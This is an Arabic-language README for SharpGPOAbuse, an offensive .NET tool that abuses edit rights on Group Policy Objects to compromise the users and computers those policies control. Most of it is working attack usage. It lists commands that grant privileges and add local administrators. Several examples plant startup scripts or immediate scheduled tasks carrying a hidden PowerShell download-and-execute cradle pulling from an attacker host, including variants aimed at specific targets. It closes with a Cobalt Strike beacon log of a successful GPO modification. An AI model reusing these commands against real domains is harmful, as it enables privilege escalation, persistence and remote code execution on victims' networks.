
SharpGPOAbuse هو تطبيق .NET مكتوب بلغة C# يمكن استخدامه للاستفادة من حقوق التحرير التي يمتلكها المستخدم على كائن نهج المجموعة (GPO) من أجل اختراق الكائنات التي يتحكم بها ذلك النهج.
SharpGPOAbuse هو تطبيق .NET مكتوب بلغة C# يمكن استخدامه لاستغلال حقوق التحرير الخاصة بالمستخدم على كائن نهج المجموعة (GPO) من أجل اختراق الكائنات التي يتحكم بها ذلك النهج.
يمكن العثور على مزيد من التفاصيل في منشور المدونة التالي: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
تأكد من تثبيت حزم NuGet الضرورية بشكل صحيح، ثم قم ببناء المشروع ببساطة في Visual Studio.
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
يدعم SharpGPOAbuse حالياً الخيارات التالية:
| الخيار | الوصف |
|---|---|
| --AddUserRights | إضافة حقوق لمستخدم |
| --AddLocalAdmin | إضافة مستخدم إلى مجموعة المسؤولين المحليين |
| --AddComputerScript | إضافة برنامج تشغيل جديد لجهاز الكمبيوتر |
| --AddUserScript | تكوين برنامج تسجيل دخول للمستخدم |
| --AddComputerTask | تكوين مهمة فورية لجهاز كمبيوتر |
| --AddUserTask | إضافة مهمة فورية لمستخدم |
الخيارات المطلوبة لإضافة حقوق مستخدم جديدة:
--UserRights
تعيين الحقوق الجديدة لإضافتها إلى مستخدم. هذا الخيار حساس لحالة الأحرف ويجب استخدام قائمة مفصولة بفواصل.
--UserAccount
تعيين الحساب لإضافة الحقوق الجديدة إليه.
--GPOName
اسم النهج الضعيف (GPO).
مثال:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
الخيارات المطلوبة لإضافة مسؤول محلي جديد:
--UserAccount
تعيين اسم الحساب المراد إضافته إلى المسؤولين المحليين.
--GPOName
اسم النهج الضعيف (GPO).
مثال:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
الخيارات المطلوبة لإضافة برنامج تشغيل جديد للمستخدم أو لبدء تشغيل الكمبيوتر:
--ScriptName
تعيين اسم البرنامج النصي الجديد لبدء التشغيل.
--ScriptContents
تعيين محتويات البرنامج النصي الجديد لبدء التشغيل.
--GPOName
اسم النهج الضعيف (GPO).
مثال:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
إذا كنت ترغب في تشغيل البرنامج النصي الضار فقط على مستخدم أو جهاز كمبيوتر معين يتحكم به النهج الضعيف، يمكنك إضافة عبارة if داخل البرنامج النصي الضار:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
الخيارات المطلوبة لإضافة مهمة فورية جديدة لجهاز كمبيوتر أو مستخدم:
--TaskName
تعيين اسم المهمة الجديدة للكمبيوتر.
--Author
تعيين مؤلف المهمة الجديدة (استخدم حساب مسؤول مجال).
--Command
الأمر المراد تنفيذه.
--Arguments
الوسائط التي تمرر إلى الأمر.
--GPOName
اسم النهج الضعيف (GPO).
خيارات إضافية لمهمة المستخدم:
--FilterEnabled
تمكين التصفية المستهدفة لمهام المستخدم الفورية.
--TargetUsername
المستخدم المستهدف. سيتم تشغيل المهمة الضارة فقط على المستخدم المحدد. يجب أن يكون بالتنسيق <DOMAIN>\<USERNAME>
--TargetUserSID
SID للمستخدم المستهدف.
خيارات إضافية لمهمة الكمبيوتر:
--FilterEnabled
تمكين التصفية المستهدفة لمهام الكمبيوتر الفورية.
--TargetDnsName
اسم DNS للكمبيوتر المستهدف. سيتم تشغيل المهمة الضارة فقط على المضيف المحدد.
مثال:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
إذا كنت ترغب في تشغيل المهمة الضارة فقط على مستخدم أو جهاز كمبيوتر معين يتحكم به النهج الضعيف، يمكنك استخدام شيء مشابه لما يلي:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| الخيار | الوصف |
|---|---|
| --DomainController | تعيين وحدة تحكم المجال المستهدفة |
| --Domain | تعيين المجال المستهدف |
| --Force | استبدال الملفات الموجودة إذا لزم الأمر |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!